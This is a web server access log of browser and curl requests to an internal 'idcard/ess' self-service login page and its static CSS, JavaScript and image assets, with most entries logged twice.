100.64.0.1 - - [04/Sep/2025:10:47:51 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:10:47:51 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:48:00 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:10:48:00 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:59:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:59:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:03:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:03:45 +0800] "GET / HTTP/1.1" 200 439
192.168.11.222 - - [04/Sep/2025:11:07:07 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121
192.168.11.222 - - [04/Sep/2025:11:07:07 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [04/Sep/2025:11:07:08 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [04/Sep/2025:11:07:08 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [04/Sep/2025:11:07:09 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [04/Sep/2025:11:07:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
